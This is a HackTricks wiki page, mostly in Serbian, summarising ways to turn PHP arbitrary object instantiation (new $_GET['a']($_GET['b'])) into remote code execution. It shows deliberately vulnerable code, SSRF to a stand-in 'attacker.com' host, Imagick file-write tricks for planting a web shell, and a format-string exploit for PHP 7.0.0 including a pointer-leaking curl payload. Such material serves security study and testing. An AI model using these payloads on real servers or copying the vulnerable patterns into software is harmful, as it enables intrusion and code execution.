PHP - RCE zloupotreba kreiranja objekata: new $_GET"a"

Reading time: 6 minutes

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

Ovo je u suštini sažetak https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/

Uvod

Kreiranje novih proizvoljnih objekata, kao na primer new $_GET["a"]($_GET["a"]), može dovesti do Remote Code Execution (RCE), kako je detaljno opisano u writeup. Ovaj dokument ističe različite strategije za postizanje RCE.

RCE putem prilagođenih klasa ili autoloadinga

Sintaksa new $a($b) se koristi za instanciranje objekta gde $a predstavlja ime klase, a $b je prvi argument prosleđen konstruktoru. Ove promenljive mogu poticati iz korisničkih inputa kao što su GET/POST, gde mogu biti stringovi ili nizovi, ili iz JSON-a, gde se mogu pojaviti kao drugi tipovi.

Consider the code snippet below:

php
class App {
function __construct ($cmd) {
system($cmd);
}
}

class App2 {
function App2 ($cmd) {
system($cmd);
}
}

$a = $_GET['a'];
$b = $_GET['b'];

new $a($b);

U ovom slučaju, postavljanje $a na App ili App2, a $b na sistemsku komandu (npr. uname -a) rezultira izvršavanjem te komande.

Autoloading functions mogu biti iskorišćene ako takve klase nisu direktno dostupne. Ove funkcije automatski učitavaju klase iz fajlova po potrebi i definišu se pomoću spl_autoload_register ili __autoload:

php
spl_autoload_register(function ($class_name) {
include './../classes/' . $class_name . '.php';
});

function __autoload($class_name) {
include $class_name . '.php';
};

spl_autoload_register();

Ponašanje automatskog učitavanja varira između verzija PHP-a, nudeći različite mogućnosti za RCE.

RCE via Built-In Classes

U odsustvu sopstvenih klasa ili autoloadera, ugrađene PHP klase mogu biti dovoljne za RCE. Broj ovih klasa varira između 100 i 200, u zavisnosti od verzije PHP-a i ekstenzija. Mogu se nabrojati koristeći get_declared_classes().

Konstruktori od interesa mogu se identifikovati putem reflection API-ja, kao što je prikazano u sledećem primeru i na linku https://3v4l.org/2JEGF.

RCE via specific methods includes:

SSRF + Phar Deserialization

Klasa SplFileObject omogućava SSRF preko svog konstruktora, dozvoljavajući povezivanje na bilo koji URL:

php
new SplFileObject('http://attacker.com/');

SSRF može dovesti do deserialization attacks u verzijama PHP pre 8.0 korišćenjem Phar protocol.

Iskorišćavanje PDO-ova

Konstruktor klase PDO dozvoljava povezivanje sa bazama podataka preko DSN stringova, što potencijalno omogućava kreiranje fajlova ili druge interakcije:

php
new PDO("sqlite:/tmp/test.txt")

SoapClient/SimpleXMLElement XXE

Verzije PHP do 5.3.22 i 5.4.12 bile su podložne XXE napadima preko konstruktora SoapClient i SimpleXMLElement, u zavisnosti od verzije libxml2.

RCE via Imagick Extension

U analizi zavisnosti projekta otkriveno je da se Imagick može iskoristiti za command execution instanciranjem novih objekata. Ovo predstavlja priliku za eksploataciju ranjivosti.

VID parser

Otkrivena je sposobnost VID parser-a da upisuje sadržaj na bilo koju specificiranu putanju u fajl sistemu. To može dovesti do postavljanja PHP shell-a u direktorijum dostupan sa weba, čime se postiže Remote Code Execution (RCE).

VID Parser + File Upload

Napominje se da PHP privremeno čuva uploadovane fajlove u /tmp/phpXXXXXX. VID parser u Imagick-u, koristeći msl protokol, može da koristi wildcard-e u putanjama fajlova, što olakšava premještanje privremenog fajla na odabranu lokaciju. Ova metoda pruža dodatni način za izvođenje proizvoljnog upisa fajla u fajl sistem.

PHP Crash + Brute Force

Metod opisan u original writeup podrazumeva upload fajlova koji izazovu pad servera pre brisanja. Brute-forcing imena privremenog fajla omogućava Imagick-u da izvrši proizvoljan PHP kod. Međutim, pokazalo se da je ova tehnika delotvorna samo u zastareloj verziji ImageMagick-a.

Format-string in class-name resolution (PHP 7.0.0 Bug #71105)

Kada korisnički ulaz kontroliše ime klase (npr. new $_GET['model']()), u PHP 7.0.0 se pojavio privremeni bag tokom refaktorisanja Throwable-a, gde je engine pogrešno tretirao ime klase kao printf format string tokom rezolucije. To omogućava klasične printf-style primitive u PHP-u: leaks sa %p, kontrolu broja upisanih karaktera preko width specifikatora, i proizvoljne upise sa %n na pokazivače u procesu (na primer, GOT unosi na ELF build-ovima).

Minimalni repro ranjiv obrazac:

php
<?php
$model = $_GET['model'];
$object = new $model();

Osnovni koraci eksploatacije (prema referenci):

  • Procure adrese pomoću %p u imenu klase da biste pronašli zapisivo mesto:
bash
curl "http://host/index.php?model=%p-%p-%p"
# Fatal error includes resolved string with leaked pointers
  • Koristite pozicione parametre i specifier-e širine da podesite tačan broj bajtova, zatim %n da upišete tu vrednost na adresu dostupnu na steku, ciljajući GOT slot (npr. free) da biste ga delimično prepisali u system.
  • Pokrenite preotetu funkciju prosleđivanjem imena klase koje sadrži shell pipe kako biste došli do system("id").

Napomene:

  • Radi samo na PHP 7.0.0 (Bug #71105); ispravljeno u narednim izdanjima. Ozbiljnost: kritična ako postoji mogućnost proizvoljne instancijacije klase.
  • Tipični payloadi povezuju mnogo %p da bi se prešao stek, zatim %.<width>d%<pos>$n za ostvarenje delimičnog prepisivanja.

References

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks